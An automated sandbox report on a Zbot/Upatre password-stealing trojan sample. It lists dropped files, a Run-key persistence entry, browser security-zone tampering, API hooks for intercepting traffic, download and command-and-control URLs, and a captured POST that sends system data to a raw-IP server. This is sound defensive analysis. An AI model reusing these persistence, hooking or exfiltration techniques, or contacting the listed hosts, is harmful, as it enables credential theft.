Trojan-PSW.Win32.Zbot.4_6547c20e2c

by malwarelabrobot on March 28th, 2014 in Malware Descriptions.

Trojan.GenericKD.1588089 (BitDefender), TrojanDownloader:Win32/Upatre.O (Microsoft), Trojan.Win32.Bublik.caqm (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.DownLoad3.28161 (DrWeb), Trojan.GenericKD.1588089 (B) (Emsisoft), Artemis!6547C20E2CE1 (McAfee), Downloader (Symantec), Trojan.GenericKD.1588089 (FSecure), Generic10_c.AQZC (AVG), Win32:Malware-gen (Avast), Trojan.GenericKD.1588089 (AdAware), Trojan-PSW.Win32.Zbot.4.FD, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan-PSW, Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 6547c20e2ce10eed3739af76becbae17
SHA1: d7f45d7f003ce9ca20a8f31004730be73f31a22c
SHA256: 771e93819c7edc041e078d81e24e17646fdf75c601ef9b5eaec0770668ee7619
SSDeep: 96:BPosVfXYEI3k8 rd2HGkRiDtrQ57fShKn9vwAl17q8d7ZH1YI2op:a4fXYEI3X rd0fiJY809YkvdVVRtp
Size: 6746 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: Setup
Created at: 2012-04-15 18:24:28
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

driverquery.exe:2460
attrib.exe:1416
tasklist.exe:2360
dutit.exe:1116
systeminfo.exe:1756
makecab.exe:2920
butit.exe:1304
opera_autoupdater.exe:304
reg.exe:2656

The Trojan-PSW injects its code into the following process(es):

osuf.exe:604
Explorer.EXE:1212

File activity

The process driverquery.exe:2460 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_48.tmp (9348 bytes)

The process tasklist.exe:2360 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_48.tmp (3407 bytes)

The process dutit.exe:1116 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\OLT8457.bat (176 bytes)
%Documents and Settings%\%current user%\Application Data\Utfuak\osuf.exe (1138688 bytes)
%Documents and Settings%\%current user%\Application Data\Utfuak (4096 bytes)

The process osuf.exe:604 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\NTUSER.DAT (212992 bytes)
%System%\drivers\1a6c48.sys (63488 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (83456 bytes)
%Documents and Settings%\%current user% (28672 bytes)

The process systeminfo.exe:1756 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_48.tmp (2280 bytes)

The process makecab.exe:2920 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\cab2 (14951 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab3 (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab6 (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab4 (14951 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab5 (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~49.tmp (15946 bytes)

The Trojan-PSW deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\cab2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab3 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab6 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab7 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab4 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab5 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab8 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab9 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab10 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cab11 (0 bytes)

The process butit.exe:1304 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%WinDir%\zlib1.dll (59904 bytes)
%WinDir%\aplib64.dll (12800 bytes)
%WinDir%\client.dll (227840 bytes)
%WinDir%\aplib.dll (11264 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1715578.cmd (108 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\FK4PQQEZ\desktop.ini (67 bytes)

The Trojan-PSW deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_48.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\FK4PQQEZ\data[1].0&type=8 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~49.tmp (0 bytes)

The process opera_autoupdater.exe:304 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SG2624E3\27UKp[1].fb2 (731883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\dutit.exe (831488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RTEJ67TP\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\butit.exe (591872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RTEJ67TP\Test[1].fb2 (256674 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SG2624E3\desktop.ini (67 bytes)

The process reg.exe:2656 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_48.tmp (26430 bytes)

Registry activity

The process driverquery.exe:2460 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EC 11 6D 63 58 83 38 55 71 69 8C C9 02 FE 07 44"

The process attrib.exe:1416 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9A C7 49 BF 19 C6 9B 21 83 4E 77 E3 8D 11 34 8C"

The process tasklist.exe:2360 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DD 75 80 3F 82 39 D1 37 D7 E3 06 15 AC 4C 8E 3D"

The process dutit.exe:1116 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65324"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 31 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "85 B6 36 6C 56 29 7B 38 2F 5E 90 47 33 BE 7A 9D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process osuf.exe:604 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65324"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Yhizteeqw]
"1c4289d" = "nZFcca11kkpFfg==("

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 32 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BB C0 AB 0B D6 2D EA A1 4D 09 72 D5 C9 FB C1 D7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process systeminfo.exe:1756 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 A2 D9 84 57 96 DB 9A 69 17 DE 07 1E E2 12 D5"

The process makecab.exe:2920 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 23 8D 1B 30 2F CE 84 89 27 3D 53 69 0F 0F 4C"

The process butit.exe:1304 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65324"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 30 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3B D0 F8 10 88 5F 44 74 12 AC B4 F3 32 57 15 9C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan-PSW adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"relokmgr" = "rundll32 %WinDir%\client.dll,CreateProcessNotify"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process opera_autoupdater.exe:304 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65324"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Документы"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\Мои документы"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d45-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91167d42-103d-11db-8c91-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Рабочий стол"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Рабочий стол"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\test\LOCALS~1\Temp]
"dutit.exe" = "dutit"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\test\LOCALS~1\Temp]
"butit.exe" = "butit"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D2 1F 8B FB 1D 81 9D 9F 9B EF 2C D5 87 CE 66 75"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65324"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{d8c0d8da-77bd-11e0-bb02-000c293bc0fd}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{ebcf8d94-66db-11de-b228-806d6172696f}]
"BaseClass" = "Drive"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process reg.exe:2656 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E0 DF A6 E0 85 26 62 45 F4 4C 28 42 98 E2 23 D4"

Dropped PE files

MD5 File path
7db604c446cb21b06b7673a9206914be c:\Documents and Settings\test\Local Settings\Temp\opera_autoupdater.exe
7fe2b0b3fc2078130f20070a05daf8d5 c:\WINDOWS\aplib.dll
3f4fe60b6d1e05144f6efa098ac381a8 c:\WINDOWS\aplib64.dll
01c1e3ab46762ef23eb2ac898ea84c2c c:\WINDOWS\client.dll
80e41408f6d641dc1c0f5353a0cc8125 c:\WINDOWS\zlib1.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "UNKNOWN" the Trojan-PSW controls loading executable images into a memory by installing the Load image notifier.

Using the driver "UNKNOWN" the Trojan-PSW controls operations with a system registry by installing the registry notifier.

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetWriteFile
InternetWriteFileExA
InternetQueryDataAvailable
HttpQueryInfoW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

GetClipboardData
TranslateMessage

The Trojan-PSW installs the following user-mode hooks in Secur32.dll:

DecryptMessage
SealMessage
DeleteSecurityContext

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSAGetOverlappedResult
WSASend
recv
gethostbyname
WSARecv
send
closesocket
freeaddrinfo
getaddrinfo
GetAddrInfoW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 1259 1536 3.48941 ea4a11f8ff9ed99ebc87aff02102a621
.data 8192 3146 3584 4.65409 6603bf6b43b300ad9e541effbd07fd89
.rsrc 12288 16 512 0 bf619eac0cdf3f68d496ea9344137e8b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
cc998eb5c7a0a416fd3cc61ce28ce6a8

URLs

URL IP
hxxp://elwoodcinemas.com/wp-content/uploads/2014/02/Test.fb2 173.220.29.2
hxxp://elwoodcinemas.com/header/27UKp.fb2
hxxp://95.211.192.195/tasks?version=106&group=0227&client=2fe8d181fcecd35bfe45e0bf12491463&computer=VIRUS1&os=5.1&latency=0.0
hxxp://ds-any-fp3-real.wa1.b.yahoo.com/
hxxp://95.211.192.195/data?version=1006&group=0227&client=2fe8d181fcecd35bfe45e0bf12491463&computer=VIRUS1&os=5.1&latency=0.0&type=8
newdirex.com 173.220.29.2
www.yahoo.com 46.228.47.115


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Downloader (P2P Zeus dropper UA)
ET TROJAN Upatre Binary Download Jan 02 2014

Traffic

GET /tasks?version=106&group=0227&client=2fe8d181fcecd35bfe45e0bf12491463&computer=VIRUS1&os=5.1&latency=0.0 HTTP/1.1
User-Agent: Microsoft-CryptoAPI/6.1
Host: 95.211.192.195
Connection: Keep-Alive


HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 14 Mar 2014 13:33:25 GMT
Content-Length: 0
Connection: keep-alive
HTTP/1.1 404 Not Found..Server: nginx..Date: Fri, 14 Mar 2014 13:33:25
GMT..Content-Length: 0..Connection: keep-alive..
....



POST /data?version=1006&group=0227&client=2fe8d181fcecd35bfe45e0bf12491463&computer=VIRUS1&os=5.1&latency=0.0&type=8 HTTP/1.1

User-Agent: Microsoft-CryptoAPI/6.1
Host: 95.211.192.195
Content-Length: 8005
Connection: Keep-Alive
Cache-Control: no-cache

MSCF....E.......,...................D.......p.........nDg| ._48.tmp..S..f...CK.\[s.Fv~....:[.`WI..^$q.IqHj..Q...L6J. ..."...u.C...j]....<8o.p..........I.x........?8...x.I.k......i...sN.[.npz...kty.0.h.g3W.....O.....j.._....... ....dA9..#.... ....|iz...V...
.P<BG..E!N.....X.x.....n.M....gO..].:....`]Z...*.o...S..-...i].$..3.a.l`.i^....~.......u==..!c....jJ.xV4......o.V.....\..g..0Ok..W....U...af....~f...........e.^.;#V-.O,Dg.1jv.Z.....L4..OO}lvLt.y..uk.`..P.....3..OF...(.Z.vNd..Bm..v~.?.N..i32....l._:.......v...X.....#^.gPN.B..........
_Bl.7v..<=.;.b.8.<ZH....( 6
J......v........j7l,u....YD..(.....wIt..@K|Y*.... .XBt.q......h.....$.9..g...5....W.....q#x...gW....b....3..T..........jfm...v$.U...K.......X.2.S
Zj?kw.6:3....n(.vF.....k. ...J.R......U}..i..}~.n..gn.j.>...Dy..........A...o.}0=......3ta_....t.c.....i?y];G..3.e.].......T....?.............t{..3.....V.si6.4{:<6...X..y..D..Tlad.S2.M`./5......o..k.6....t.......a...|.0A.u...L..*.'.J%1....;.5...yk...~am...........uAU.q_...o{....E..60)._..0b_.g......-w.3P........3.n.....[.&..E..7......#U.....Ok.Y...4.jX&.*.5O..N...:a.<{.=...../U,.%...x.T>..lU4PJ.UC....1..;..... nP...F
...].:.6.t[(.d.'..fQ.`9..Z....cg..V..~.....D..B.a......s.'`|..Ql...h\...U.i..~>......LOq.cE9.$.......R.U...
HTTP/1.1 200 OK
Server: nginx
